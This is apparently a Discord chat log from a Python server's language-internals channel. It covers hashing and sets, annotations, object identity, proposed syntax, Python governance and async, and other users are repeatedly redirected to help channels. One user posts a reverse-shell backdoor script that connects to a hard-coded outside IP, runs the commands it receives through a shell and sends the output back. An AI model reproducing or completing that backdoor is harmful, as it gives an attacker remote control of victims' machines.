Well, it's even worse ^
#internals-and-peps
grave jolt
final whale
those are pretty confusing to me ^^'
grave jolt
You can look into dataclasses if you want a useful use case.
final whale
I use those a lot to format json data, with no understanding on how the backstage works thought
grave jolt
!e
class Hello:
a: str
b: int = 42
print(Hello.__annotations__)
fallen slateBOT
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
{'a': <class 'str'>, 'b': <class 'int'>}
!e
def dumpinfo(cls):
for name, annotation in cls.__annotations__.items():
print(f"{name}: {annotation} = ", end="")
if hasattr(cls, name):
print(getattr(cls, name))
else:
print("<undefined>")
return cls
@dumpinfo
class Hello:
a: str
b: int = 42
c: "hello world" = ((()))
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
001 | a: <class 'str'> = <undefined>
002 | b: <class 'int'> = 42
003 | c: hello world = ()
so annotations are actually stored with the object itself
low glen
Hello all
I am really new here
trying to learn python
name = ''
while True:
print('Please enter your name?:')
name = input()
if name != '':
break
print('Thank you')
the above code works fine but i do not understand why i need to have name = ' ' before writing the code. How doe "While" connect to name = ' '?
grave jolt
Please ask specific questions via our help system. Check out #โ๏ฝhow-to-get-help
meager peak
Hello
low glen
okay
pliant tusk
!e ```py
def dumpinfo(cls):
for name, annotation in cls.annotations.items():
print(f"{name}: {annotation} =", getattr(cls, name, "<undefined>"))
return cls
@dumpinfo
class Hello:
a: str
b: int = 42
c: "hello world" = ((()))```
fallen slateBOT
You are not allowed to use that command here. Please use the #bot-commands channel instead.
grave jolt
yep, it would
hallow vault
Hello can someone teach me how to code of know where I can learn to code using the python language
twilit garnet
nobody's gonna teach you to code for free, but have you checked out our resources page? it has a whole load of resources you can use to learn python ^^
!resource
fallen slateBOT
hallow vault
Oh really?
tender raptor
anyone here that knows f sharp? I can pay for help
hallow vault
Is it easy?
tender raptor
@twilit garnet i can pay ya if you know f sharp and can help me
worldly venture
@tender raptor 1) this is python-language, it is not for any off topic discussion (of which f-sharp is not part of the topic in this channel) 2) we don't allow any form of recruitment in this server, see rule 6 in #rules
hallow vault
@worldly venture wait could you possibly know the basics for python?
worldly venture
That's also off topic for this channel
hallow vault
Oops my bad joe @worldly venture what is suppose to be discussed on this channel?
worldly venture
specifics on the implementation of python, see the topic, you should probably ask in #python-discussion, but you have been pointed above to the resources document
rich wharf
question
is this channel a good channel to ask which of two designs are better?
by designs I mean code designs
like x.get_y() vs x.y
deft pagoda
this is the wrong channel jokes2
drowsy wasp
ok my bad
rich wharf
question
is this the right channel for asking which of two code designs is better
more readable and more concise
deft pagoda
i suppose you can ask design questions, seems reasonable
rich wharf
alright
Question, what syntax is preferred for allowing GUI callbacks?
@window['#identity'].on('click')
def callback(button):
print(f'The button {button.id} was clicked!')
#OR
@window('#identity').on('click')
def callback(button):
print(f'The button {button.id} was clicked!')
should I use window['#identity'] or window('#identity')
to get the element from window with the id 'identity'
deft pagoda
i'd use () only because i think the __getitem__ thing was only recently allowed syntactically
rich wharf
alright
@window('#identity').on('click')
def callback(button):
print(f'The button {button.id} was clicked!')
does this seem readable to an average user who has never seen my application but knows Python then?
deft pagoda
or was it the . that was allowed
peak spoke
recently would be in the future in this case
rich wharf
is window('#identity') a good idea or should I use something more like window.element_from_id('identity')
deft pagoda
ah it's a 3.9 thing?
rich wharf
even though window.element_from_id('identity') might not work for complex cases
peak spoke
yep, full expressions beacme valid in 3.9
deft pagoda
ok, well definitely don't use getitem then
rich wharf
huh
is window('#identity') better then window.get_element_from_id('identity') or window(gui.Id('identity'))
peak spoke
rich wharf
yeah
question, what's the best way for me to select an element then
should I make it so you can do window('#identity')
or is window.get_element_from_id('identity') prefered
or even window(gui.Id('identity')) using a custom object selector
deft pagoda
i mean i prefer the less wordy version, but i'm not a gui programmer
rich wharf
I actually prefer window('#identity')
but I want to know what people prefer since I want to publish this
and open source it
window('#identity') is just like jquery $('#identity')
drowsy wasp
hey guys quick question how can I make a log to record when people try to hit me offline
ik this is basic and pointless but plz help lol
worldly venture
@drowsy wasp as mentioned above, not the channel for this
rich wharf
w = Window('My Window Name', [
['A Column', 'Another Column'],
['Another Column', 'This is Great'],
UnsizedRow(['Enter Username', Entry()]),
UnsizedRow(['Enter Email', Entry(id = 'enter-email')]),
'This is centered text which is part of no row',
Button('submit', id = 'submit')
])
@w('#submit').on('click')
def callback(button):
print('Hello world!')
print(f'You entered: f{w("#enter-email").text}')
Is this readable?
gentle lodge
well it's weird anyway
gentle lodge
that second arg to Window ... it's a list of what now?
gentle lodge
sometimes pairs of strings, sometimes UnsizedRows? Does some existing API force you to do that?
rich wharf
no, this is a design choice and it's not finished yet
'TEXT' is converted to a text widget
Text('TEXT')
UnsizedRow is a row where all of the elements inside of it aren't split and are right next to each other
gentle lodge
well given that I had no context, I'd say that's not bad
rich wharf
essentialy
languid dagger
Guys, this really isn't the channel to discuss how readable your code is
gentle lodge
I'd write out the Text('text') myself
languid dagger
#internals-and-peps is about discussing the language of Python itself
See the channel topic
If you want to discuss your code either #python-discussion or a help channel is the place
rich wharf
I have, the overall design of the language, doesn't that mean I can also talk about how to design my code?
languid dagger
The language not your code
languid dagger
Thanks
rich wharf
No thanks necessary.
pastel crest
do you think python 4.0 is available
unkempt rock
guys, how are sets slower than lists? Am I missing something/using flawed testing?
neat pike
versioning isn't a mathematical number
3.9 doesn't have to be followed by 4.0
gloomy rain
@unkempt rock Slower for what?
unkempt rock
let me show my testcase
Rather superficial, gonna warn you
from timeit import Timer
a = Timer('a = len({1, 2, 3})', 'b = sum({1, 2, 3})').timeit()
b = Timer('a = len([1, 2, 3])', 'b = sum([1, 2, 3])').timeit()
c = Timer('a = len((1, 2, 3))', 'b = sum((1, 2, 3))').timeit()
Are they speedy somewhere else?
neat pike
sets are not really designed for a performance approach to problems
unkempt rock
Is it more of a memory saving measure (as you're not using indexing)?
neat pike
yes
gloomy rain
x in my_set is O(1) for sets, whereas it is O(n) for lists.
neat pike
this makes sets useful for "mathematical sets" operations
the fact that they prevent duplicates can also be useful
gloomy rain
@unkempt rock You can think of a set as a dictionary without values.
mental reef
i dont get why use lamda instead of noraml func(im just starting to learn now)
it only shortens codes
is there anything im not seeing
unkempt rock
The membership test explaination is nice
neat pike
@mental reef lambda are useful when manipulating functions as object (which they always are of course)
defining the function you pass as argument to another function directly
unkempt rock
lambda is also good for function generators and generaly for a lot of stuff if you're into the fuctional paradigm
mental reef
ok tq
neat pike
@gloomy rain are sets actually implemented like hash tables without values?
I know they are in some languages
gloomy rain
def double(x):
return x * 2
map(double, [1, 2, 3])
vs
map(lambda x: x*2, [1, 2, 3])
The second is more compact.
@mental reef ^
@neat pike I'm like 99% certain that's the case.
They definitely require entries to be hashable, so it would make sense.
neat pike
If it's the case, it's not done directly though
>>> isinstance(True, int)
True
>>> isinstance(set(), dict)
False
>>> ```oh I'm stupid
having sets be actual **dicts** would require implementing all dicts methods
calling .values on a set wouldn't make much sense
.keys not much either
gloomy rain
Indeed, CPython's sets are implemented as something like dictionaries with dummy values (the keys being the members of the set), with some optimization(s) that exploit this lack of values
From some random SO thread
neat pike
maybe there is an abstract class from which they both come, or something more hardcoded
the keys being the members of the set
why
why not just None
neat pike
I think None is a constant, not some null pointer
gloomy rain
I'm not sure what you're referring to.
neat pike
I misread
I thought they were using the members of the set, of course as the keys, but also as respective values
gloomy rain
Ah, nope.
raven ridge
Note also that a O(1) algorithm with a high constant can perform worse than a O(N) algorithm with a low constant, especially for low values of N
gloomy rain
Ah, yeah, it's not really worth using a set for membership tests unless you have a lot of entries.
neat pike
these constants were probably documented somewhere
along what is being used to hash etc.
gloomy rain
I think for smaller N, tuples > lists > sets.
@neat pike The hash function is defined by __hash__()
So you can customize it.
neat pike
set.__hash__ is None
gloomy rain
No, for the entries.
raven ridge
tuple and list should be pretty close, performance-wise - both are contiguous arrays. but yeah, for small N, both should outperform set in terms of membership tests.
neat pike
it should be consistent along the entries of one instance of set
gloomy rain
The default hash for each builtin type is defined somewhere, yes.
It's type-specific.
raven ridge
there is no default hash for object, because not all objects are hashable. Nor do all hashable objects share a common base class, so there's no way to inherit a default hash.
https://github.com/python/cpython/blob/f453221c8b80e0570066a9375337f208d50e6406/Python/pyhash.c#L85 is the hash for a float, though, for instance
neat pike
small enough integers just return themselves as a hash
raven ridge
yeah. hashing for integers is https://github.com/python/cpython/blob/master/Objects/longobject.c#L2925
neat pike
something more is done besides the own types __hash__
first there is the problem of set containing various types
and just, if we were only relying on the elements __hash__ it wouldn't work
raven ridge
it literally does just call the type's __hash__. https://github.com/python/cpython/blob/master/Objects/object.c#L769
tp_hash is the C name for what is called __hash__ in Python.
gloomy rain
@neat pike Why?
neat pike
>>> myset = {1}
>>> 18446744073709551609 in myset
False
>>> x = 18446744073709551609
>>> y = 1
>>> x.__hash__()
1
>>> y.__hash__()
1
>>> ```That's not how hash tables work.
It only uses the hash to decide on the bucket.
A hash collision just means it needs to do a linear search in that bucket to find the element in question.
It doesn't use the hash to identify the object itself.
raven ridge
that's why every type that defines __hash__ also needs to define __eq__, and enforce the constraint that if two objects compare equal they must also hash to the same value.
gloomy rain
If you have a custom class and define __hash__() to return the same value for every instance, the set will still work, it'll just have O(n) membership instead of O(1).
flat gazelle
two objects in a set are only considered identical if hash(a) == hash(b) and a == b
also, all user made classes default to a hash of id(x) // 16 afaik
neat pike
oh right you can't hash mutable types
flat gazelle
you can in theory, but in practice it is not all that useful to do so
gloomy rain
You can have mutable types, you just can't let the hash value change.
neat pike
I mean from what Python allows
I was wondering why your test didn't include memory location but if it's only immutable it's ok
gloomy rain
So whatever properties of the instance are used to derive the hash value and the eq function must be immutable.
raven ridge
Python does allow mutable (user defined) types to hashed, as long as they don't override the default equality behavior (by default, for a user defined type, == is equivalent to is, and so it doesn't matter whether it's mutable, because no other value could ever be equal to it anyway, and so it can be hashed by its memory address)
In [33]: a = X(10)
In [34]: hash(a)
Out[34]: 8564098593393
In [35]: a.val = 20
In [36]: hash(a)
Out[36]: 8564098593393
well, there is nothing exactly stopping you from making a class like this
import secrets
class U:
def __hash__(self):
return secrets.randbits(6)
```it does sort of work too in a set, but in a dict it is a bit meaninglessin what sense does that "sort of work"?
In [37]: import secrets
...: class U:
...: def __hash__(self):
...: return secrets.randbits(6)
...:
In [38]: a = U()
In [39]: a in {a}
Out[39]: False
I don't see how that would work for a set.
flat gazelle
you can still iterate through the set and get almost all the elements
but yeah, generally a bad idea to do this
gloomy rain
It completely defeats the point of using a set if you can't do membership tests.
raven ridge
the contract for __hash__ is that it must return an int, and if two objects compare equal they must return the same int. Returning a different int for the same object violates the contract of __hash__, and breaks any hash-based container that tries to use it
the language doesn't stop you from doing it, but it's still a violation of your contract with the interpreter - you've implemented a magic method that doesn't do what it's required to do.
slim island
Ask in a help channel, and when you do include your code. See #โ๏ฝhow-to-get-help
ionic condor
I made this little code for testing and I want something to happen while I keep a mouse button pressed, it works perfectly with the "Middle" and "right" buttons, but with the "left" it doesn't work, why?
crystal tusk
Hello! Well am a novice in python. I have a project that demands me to create an app so I decided to go in for tic tac toe. Am at the level of making the buttons work now i.e the function I need to make the buttons work properly. Am using classes just to note. Need some help please.
No
Tkinter ad with classes
steady pier
which channel do i go to for help when my error is UnboundLocalError: local variable 'amount' referenced before assignment
jolly beacon
spring pier
lol
tacit sinew
In Pycharm, How can I switch to the testing area (Run area) to type in input values to test my codes, without having to use the mouse to click in that box down there?
full jay
@tacit sinew The folks in #tools-and-devops might know. It's possible it could be a keyboard shortcut you could assign, but I'm not for certain
tacit sinew
Oh I thought this is the right channel.. Thanks for the heads up!
full jay
Any time
placid wasp
what abou graphs in python?
gray mirage
How about matplotlib
flat gazelle
If you mean graphs as in edges and verticies, networkx
haughty bison
Hi guys! Can someone explain me how to use raw sockets in python and what are they?
open totem
why is option not defined here
low lagoon
@open totem I'd take that to a help channel. If you don't know how to receive help, #โ๏ฝhow-to-get-help will guide you.
placid wasp
If you mean graphs as in edges and verticies, networkx
@flat gazelle ????
Yes
Like search algorithms and more
mental reef
i learnt python all the basics oop decoraters generators adn some intermediat stuffnow before i start using guis i want to make sure thath im good with normal python before i move cause i completed that course in 2 weeks i understood everything
and i feel like i learnt it too quick
so want to make sure im good with it
waht should i do
flat gazelle
write some code in python
mental reef
yeah what to build
i am dumb ik all the code and sytax but am not good with thinking creativly
So I want some project ideas
Or
A place that's has some good number of project ideas
spice pecan
There's a bunch of ideas pinned in #python-discussion I believe
unkempt rock
Is there a standard way of defining a dicitonary without assigning it an actual key or value?
flat gazelle
{}
unkempt rock
Oh lol
mossy ore
is it possible to define a function after the main program?
visual shadow
There is no such thing as a main program in python, so yes
flat gazelle
though do note that
if __name__ == '__main__':
foo()
def foo():
print('Hello')
```will not workoh ok thank you
visual shadow
And no, a function with the name "main" isn't one, and no, if __name__ == '__main__' isn't one either.
mossy ore
gotcha
vale breach
anyone got any experience with the wolfram alpha api?
unkempt rock
though do note that
if __name__ == '__main__': foo() def foo(): print('Hello') ```will not work
@flat gazelle ```py
def foo():
print('Hello')
if name == 'main':
foo()
I am aware, his question was relating to functions under the entry the entry point.
unkempt rock
ั:
undone hare
Protected attributes aren't a thing in python, if the docs say don't call it, just don't :)
umbral pendant
okay
unkempt rock
How do i access globals of _main_ inside an import?
snow kettle
@unkempt rock don't imo, unless you pass them in
undone hare
You actually don't, that's the main purpose of main, not be accessible when imported
undone hare
The code inside it will not even be ran if you import the file
snow kettle
the whole thing inside a function
if the whole thing is in a single function, there are larger problems going on
visual shadow
Write these so called globals above the if main guard.
undone hare
Even with that, the code in if __main__ == '__name__' will not be ran if you don't directly make python run that file
unkempt rock
I also don't want to have everything in a single file
visual shadow
Though I do agree that if you're calling or invoking a different file, you should pass everything explicitly
undone hare
You should move them outside, that's the only way
visual shadow
Nah
Keep it simple, akarys has a good suggestion
If multiple files need to use the same variables, make a config/settings file of sorts out of it.
somber halo
I second that suggestion on centralizing those on a file of this type.
wide shuttle
Hey @unkempt rock, this channel is not a help channel, but a channel for discussing the Python programming language itself, from a higher-level perspective. Things like the implementation, PEPs, the future of the language, the steering council, and advanced language features. For help questions, we have up to 32 help channels available, see #โ๏ฝhow-to-get-help for information on how to claim one. For discord.py-specific questions, we've got a #discord-bots topical channel. Thanks!
near coral
I didn't even know the steering council has an election. I need to read up more on how all this is formed and how the core team is formed
wide shuttle
It's recent.
It was actually an interesting transition to watch after Guido van Rossum stepped down as BDFL.
I think Real Python has a blog post about it
unkempt rock
hello sorry in advance for the lack of knowledge and hopefully this is the right place to ask this question
i was just wondering what do we call these things that are within {} like {0} or {bot.user} for example? stuff within " " are strings but what about the {} ?
crisp parcel
ask in the available help channels
unkempt rock
can you point me to the right channel
deft pagoda
that's general enough to ask in #python-discussion
unkempt rock
Thank you
wide shuttle
This PEP details the steering council: https://www.python.org/dev/peps/pep-0013/
swift imp
I think Guido is off of everything
He got upset from other council members bitching on twitter after the walrus operator implementation
And now he seems to be retiring all together. Off the council, retired from all his work
near coral
thanks Ves
I mean some sort of organization is needed to agree on what to release and when. Can't do these things in isolation or it would be chaos to Python's core.
surprised it is a voluntary role as it has a lot of responsibility that comes with it. I couldn't handle that and a job, more power to them.
rich wharf
@event.handler(5)
def callback(x, y):
pass
What if we had a syntax more like
handle event.handler(5) as x, y:
print(3)
Honestly I feel like the function just makes it less readable
def callback(x, y) when you don't even need it to be a function and a callback
rich wharf
In this example, yep.
handle takes in a function and as for arguments, then it uses the body
sacred tinsel
how do you chain them
rich wharf
chaining handles?
sacred tinsel
oh, you're not trying to replace decorators
rich wharf
handle is mainly for event handling so I don't see why you would want to
yeah, I'm trying to replace a subset of decorator usage
rich wharf
I don't like the handle keyword
Honestly I prefer with but that's taken
with event.handler(5) as x, y:
print(3)
I like the decorator pattern, although decorator internals are sometimes quite ugly
although I suppose that's the point - to abstract the ugly away
rich wharf
yeah, I think it's convenient
and I think it's especially convenient for inner decorators
when you want to register inner callbacks
also I think it's just quite a nice pattern and it helps you clarify what it is
using a keyword like handle removes an unnecessary line
it makes you see it less as a function, and more as a callback
inland acorn
but a callback is a function ๐ค
rich wharf
but it's a more specific subtype of function
@client.event
def on_message(message):
print(message.content)
handle client.event('on_message') as message:
print(message.content)
client.event('on_message', (message) => (
print(message.content)
))```
lost nexus
looking a bit like js
rich wharf
I suppose
wide shuttle
I think Guido is off of everything
@swift imp
He's since the most recent steering council. He was actually a part of the first two (?) steering councils, but decided that he wants to focus on writing code/being a core dev instead of governance in his retirement as it doesn't give him that much joy. That's what he wrote in a post explaining why he'd withdrawn (he was originally a candidate for this year as well).
It's not like he isn't involved anymore (just look at the new parser)
true ridge
And now he seems to be retiring all together. Off the council, retired from all his work
@swift imp He is in fact very active on CPython itself via the recent PEP 617.
radiant fulcrum
Since when did you not need , with a list definition?
flat gazelle
That will be a list of a single string afaik
flat gazelle
('ab'
'cd') == 'abcd'
strings are neat like that
wide shuttle
Hello, @unkempt rock, this channel is strictly for discussing the Python programming language. It's not for more general chat. We have three off-topic channels in the category below this channel.
unkempt rock
Okay i apologize
magic python
l = [1, 2]
m = l
here m and l point to the same object in memory, as far as I understand... is there anyway to check this?
void sonnet
id is your friend:
>>> l = [1, 2]
>>> m = l
>>> id(l)
1917820621896
>>> id(m)
1917820621896
or is them
magic python
ah ok, cheers
grave jolt
!e
x = [1, 2]
y = x
z = [1, 2]
print(x is y)
print(x is z)
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
001 | True
002 | False
Small integers are preallocated and reused, but large ones aren't:
!e
two = 2
x = two + two
y = two * two
print(x is y)
big = 344534534534
a = big + 1
b = big + 1
print(a is b)
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
001 | True
002 | False
eternal sigil
Does python if (condition_1 and condition_2):
suffer from the same problem of lack of short-circuit evaluation as
rules = [condition_1,
condition_2]:
if all(rules):```
or is it evaluated the same as
```python
if condition_1 and condition_2:```Small integers are preallocated and reused
Note that this is a CPython implementation detail, not a general Python language feature.
orchid shore
Hmmmm
raven ridge
@eternal sigil adding braces doesn't change the way it's evaluated. if a() and b() and if (a() and b()) both short circuit. It's and that applies the short circuiting, not if.
eternal sigil
Much appreciated!
raven ridge
In [1]: def a():
...: print("a")
...:
In [2]: def b():
...: print("b")
...:
In [3]: bool(a() and b())
a
Out[3]: False
why can't some objects be copied?
I found this https://stackoverflow.com/questions/39975898/copy-matplotlib-artist and I don't really understand why a particular object would be so hard to copy, whereas others are fine with copy.deepcopy
somber halo
it's due to their implementation of __copy__() if I recall correctly.
I've had to resort to these kind of copy mechanisms in the past with GUI code
brisk lion
can enywone help me with my code?
this is my code:
import socket
import subprocess
host=52.215.119.172
port=1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor running."))
while True:
data = s.recv(256)
proc = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = proc.stdout.read()
print(stdout)
if stdout == b'':
s.send(str.encode("Wurde gemacht"))
s.send(stdout)
and the error is:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'host' is not defined
raven ridge
This is the wrong channel for asking for help. See #โ๏ฝhow-to-get-help
brisk lion
thx
rich wharf
handle client.event('on_message'):
...
handle client.event('on_message') with message: #or as message
print(message.content)
Yes it is.
This is my idea for syntax on better handling.
@ruby spruce This channel is about the implementation and design of the python language.
Suggesting python language designs is in the bounds of this channel.
ruby spruce
Hmm... I don't think we need new keyword handle only for discord.py
rich wharf
It isn't just for discord.py
This could be used for many libraries that want event handling
It's clear and concise and abstracts away the function definition
ruby spruce
Something like this is with
rich wharf
with is for context managers
It executes code before and after execution
It's handy, but it isn't good for callbacks
The with body is no function
ruby spruce
Then decorators
merry pollen
i mean what's the advantage over like
@client.event
def handler(message):
....
it like, saves a line, i guess, but yknow no new keyword
rich wharf
I think the advantage is it makes intent cleaner
And it's also quite nice.
You don't need a decorator and the callback is anonymous
You could also use async handle for asyncio
async handle client.event('on_message') with message:
print(message.content)
await message.channel.send('Hello World')
It could possible help beginners
grizzled vigil
@rich wharf I can almost guarantee that handle ... won't become a new statement for the language based on that reasoning in isolation. For pretty much any change to the stdlib, it has to have strong practical use cases with clearly defined real-world examples, but the bar is even higher for built-ins for the language. I really don't see a strong practical advantage for it over using a decorator.
Backwards compatibility would be a huge factor as well, considering the popularity of handle as arg, kwarg, function, and local variable names
If you're serious about the proposal, you could formally propose it in the python-ideas@python.org mailing list. But you'd have to very much flesh it out and come up with insanely strong arguments to justify the breakage. Especially after the amount of breakage in the 2->3 transition, we (the Python core development team, which I recently joined) are very hesitant to repeat that for anything that isn't absolutely essential.
torpid bridge
One of the original languages I worked with when I was first learning was Inform
And it did have that neat structure that really does serve event-driven things well. Before, after, instead of keywords
Rule tables
It does however lead to harder to follow code in many cases and might not be the best of fits for python. But you can definitely use decorators for the same purposes
An example could be:
@event
def do_thing():
print(1)
@before(do_thing)
def a():
print("Before thing")
This could be a global registry (which is not the best of choices, but might be worth it, or something else I haven't thought of) that would support handling in a pythonic way and matches what a lot of other libraries (flask, etc) do. I know C# uses similar tools via annotations, and Rust via macros
But they do all share the "code immediately before function definition" structure, which IMO does make a lot more sense than a new block type
I believe you could in fact write something that would allow you to modify python functions with @before and @after, but you'd have to probably play with __call__ or __code__ and it would probably be cleaner to "eventify" them with a special decorator first
rich wharf
@grizzled vigil This wouldn't break backwards compatibility since decorators would still exist
And it probably won't be added, but it is an interesting idea
grizzled vigil
@rich wharf The backwards compatibility is a concern because of using handle as a statement, not the functionality described. It would be incompatible w/ existing code that uses handle for other purposes, such as what I described in the above message.
rich wharf
oh, that's true
Variable Properties Assignment
class x:
y = 3
z = 4
{y, z} = x
print(y) #3
print(z) #4
Unpacking and Variable Properties in Function
class x:
y = 3
z = 4
def func({y, z}, (a, b), i):
print(y, z, a, b, i)
func(x, (6, 7), 5)
#3 4 6 7 5
{y, z} = x where x is a class would require a ton of new semantics to be added to the language. You'd need to define an ordering for all of the properties of a class, including attributes inherited from parent classes, or added by a metaclass, or added by setting an attribute after the class was defined. And what would it mean for a class with a __getattr__ or __getattribute__?
torpid bridge
You might just restrict it to "same names as attributes", so {x, y} goes for attributes x and y. But I think that might be a bit too magic.
You could instead take a page out of namedtuple's book and write a function to do this:
x, y = getallattr(x, "x y")
raven ridge
Already exists.
In [14]: class x:
...: y = 3
...: z = 4
...:
In [15]: import operator
In [16]: operator.attrgetter("y", "z")(x)
Out[16]: (3, 4)
i've found my first non-academic use-case of .send that really cleaned a lot of repeated logic i had
pastel crest
is dan bader in this group
unkempt rock
i mean what's the advantage over like
@client.event def handler(message): ....
@merry pollen #discord-bots
cloud crypt
this was fully related to the conversation, no need to redirect them
deft pagoda
i didn't understand the proposed syntax
raven ridge
@deft pagoda - what was the use case for .send? I've yet to find one, myself.
river needle
if level == 1: time = [] intensity = [] for t in range(-2000, 2000): x = velocity_exo * t time.append(t)
I'm trying to make values for t = -50, -25, 0, 25, 50
how do i can ge this part so t on the x-axis has those values
deft pagoda
i hid a lot of repeated logic in a generator --- but i needed a way to modify one of the items it yielded occasionally
it's here
generator is on line 19
the __or__ and __xor__ methods actually use .send
cloud crypt
still dreaming about None-aware operators
makes working with None defaults extremely convenient
deft pagoda
i feel like a ? could be pretty useful to have around
undone hare
Can mypy deal with none safety?
undone hare
I'd think it was rejected tbh, it doesn't really follow the python philosophy
!pep 505
fallen slateBOT
deft pagoda
i think it looks fine, though i dunno why they proposed double question mark
self.files = files ? []
single seems fine
raven ridge
self.files = files ? []single seems fine
@deft pagoda
that's a call to the proposed maybe-subscript operator, if you remove the insignificant spaces.
deft pagoda
well, unpropose that
glad goblet
hi
raven ridge
If you required parentheses, you could do (a else b) without introducing a new operator... But without requiring parens it would be ambiguous in a ternary context.
glad goblet
whats async and when is it used?
deft pagoda
a else b, doesn't look awful --- i've wanted inline ifs before, but with generator syntax... do_something() if cond
PEG parser could maybe allow them to explore some of these
glad goblet
whats async and when is it used?
?
deft pagoda
async is a module with an event loop for writing asynchronous programs
unkempt rock
but i want to say acc to my knowledge, async aspect of python is not good so
if you want to use any async features your program or other, depends on your software (Web or desktop or other ) i suggest other frameworks or languages maybe. Nodejs -> web, c# -> desktop ..
gray mirage
I'm not really sure what's wrong with async in python?
true ridge
but i want to say acc to my knowledge, async aspect of python is not good so
saying just 'not good' is not a valid claim.
gray mirage
It's one of the nicer async APIs I've used
wide shuttle
I'm a member of quite a few language communities and typically when people come into a language-specific channel/community and say "this doesn't work in this language, just use that language" and it usually means "I'm familiar with how it works in x, I'm not familiar with how it works in y, and the way you do it in y is slightly different, and so y is bad"
unkempt rock
Damn, I mean I was that person a few months ago lol.
flat gazelle
very few language features are actually straight up better than another languages feature
unkempt rock
Python already occupied my heart and even C#'s beep noise method won't make me love C# even tho I felt nice when I ran that program and it was like *Beep!
flat gazelle
try printing '\a' in python
flat gazelle
I guess it does not beep on android
unkempt rock
Wait is it supposed to beep?
gray mirage
I think \a is the bell character, yeah
flat gazelle
^
unkempt rock
Let me run it on my desktop, omh don't make me melt...
gray mirage
not all terminals actually beep when it's printed anymore
flat gazelle
it does in cmd, powershell and WSL
unkempt rock
:( It did not beep it just returned "\x0x".
I ran a Python console from the Run box and it didn't beep!
unkempt rock
Nope, not even PowerShell in Visual Studio Code didn't beep.
Yeah
Guys i want to clear sth:
i said that before "async is not good with python" ok, but i want to say really it
odd umbra
\a is suppose to beep ?
unkempt rock
Python's async module and async and threaded programming features is weak to another programming languages or frameworks that build for best async programming. I am saying who familiar with web technologies, they already know that django vs node.js -> async programming, Node.js is entirely built for async web programming.
odd umbra
I didn't heard anything
unkempt rock
Same
odd umbra
in vsc or in my terminal, nothing
unkempt rock
Yup, yup.
flat gazelle
python also has frameworks for better async.
it is not just asyncio, there are even option which do not need await at all and do everything automatically
unkempt rock
So, if you want to do sth definitely async stuff with python, i suggest using 3rd party modules
flat gazelle
also, weak in what way? What feature does python lack that others have that makes async inconvenient?
unkempt rock
yes that i want to say
for ex; you working with web app with async features i say nodejs is best.
or you working with app that uses much amount data -> u better use python (numpy, pandas etc.)
if you not agree with me, you can search it deeply.
flat gazelle
show some some actual examples of what node does better than python
unkempt rock
wait
Is Python faster than Nodejs?
Performance/Speed
As Node. js is based on fast and powerful Chrome's V8 engine, Node. js is faster than Python, and generally one of the fastest server-side solutions around.
flat gazelle
aren't we talking about async? What does execution speed have to do with anything? If you are using async, you are IO bound, not CPU bound
gray mirage
If speed is your concern then you may be missing the point of Python
By the way, Django has ongoing work to add async support
unkempt rock
i want to say C
๐
and laying my back to my couch ๐
@flat gazelle write goole that "async app languages"
flat gazelle
I am finding that pretty much every language under the sun can do async one way or another
deft pagoda
I mean, probably you can always make your own event loop if one wants
unkempt rock
but at last i want to say that: "If you want to develop sth with any language, i suggest using 1 cpu and one way data transition.
deft pagoda
how is anything you've written related to the channel topic, btw
unkempt rock
every language has best features for vary fields. C best in speed and hardware, Javascript is best in web. if you want to design a website with C, it does not make any sense
^
gray mirage
A lot of languages do specialise, but those languages are not necessarily useful as general purpose languages
It's sometimes said that python is the second best language for any task and I think that's testament to the versatility of the language
The truth is that every language is a tool, and every tool has a specific use
late widget
I'd question that being true for any task
gray mirage
You don't use a screwdriver to bash in nails, if you see what I mean
late widget
It's definitely a kewl language tho
gray mirage
You could, but.. use a hammer.
late widget
i've done exactly that before lmao
gray mirage
Haha, haven't we all
late widget
Although there was no hammer so it's justified
we'll ignore that i didn't bother searching for one
and just assume it never existed
gray mirage
Also you're right, there are a couple fields python excels at
But that's because of the versatility I mentioned, it's not like it specifically targets those areas
late widget
Yeye
I've only ever used python to help me in other languages tbh
Or in assignments
Just quick little scripts that automate certain bits of a coursework or something repetitive I find myself doing
flat gazelle
same
gray mirage
I've used it for major applications
It was my primary language until this year, and that's over 11 years of experience haha
late widget
Damn lmao
I'd definitely say it can be used for major applications, but a lot of the times it just begs the question should it tbh
Although again, depends completely on what you're doing
gray mirage
It makes sense for webdev and automation projects
late widget
Definitely has a special place tho 
gray mirage
Bots and that sort of thing
I've also used it for major server applications though
My introduction to python was actually a custom Minecraft server back in the classic days
It did a pretty amicable job
gray mirage
That's a good reason for a dev too :>
gloomy rain
Python has a lot of useful language features.
undone hare
I'm currently using it in my project for the same reason, because that's only a temporary code, I want to go fast
gray mirage
It's a very expressive language, yeah
unkempt rock
Guys, i want to ask sth
gray mirage
Go ahead
wide shuttle
Python's async module and async and threaded programming features is weak to another programming languages or frameworks that build for best async programming. I am saying who familiar with web technologies, they already know that django vs node.js -> async programming, Node.js is entirely built for async web programming.
@unkempt rock
Django is a framework; it's not the Python programming language
gray mirage
Node's equivalent is Express ftr
wide shuttle
It's only introducing support for asyncio-based applications in the new release (3.0) and continuing to work on it
To say that async in Python is bad because a specific framework did not yet have extensive support for it is a bit weird
All in all, I'm not saying that Python is better or worse when it comes to async to other languages, but I often feel like people are coming into programming languages with expectations from other programming languages that they're used to and make unfair comparisons that only serve to block them progressing to learn that language.
gloomy rain
I mean, it could be a valid concern if you're starting a new web app project and considering what stack to work with. Not saying that it does or does not, but if Python did lack a strong contender for a web framework that has good async support, that could be a reason to go with something else.
gray mirage
We do have aiohttp and that's pretty fabulous
wide shuttle
Sure, but I'm more talking about the fact that they then make general claims about Python based on their limited experience
gray mirage
It's no Django but it's nice to work with
wide shuttle
It's like Python programmers getting into Java and blocking their own progress by refusing to accept that there are different practises and approaches that are more common in Java
They get into a language with a lot of preconceptions and then blame the language
gloomy rain
@gray mirage Sure, but that's what I mean, a single framework that covers all your needs would be nice. It's a dimension among many to consider when you choose your stack.
gray mirage
Oh sure, yeah
I mean I would argue that true async support for webapps has yet to be realised when it comes to utility, considering it really only helps with scaling
gloomy rain
@wide shuttle That certainly does happen.
gray mirage
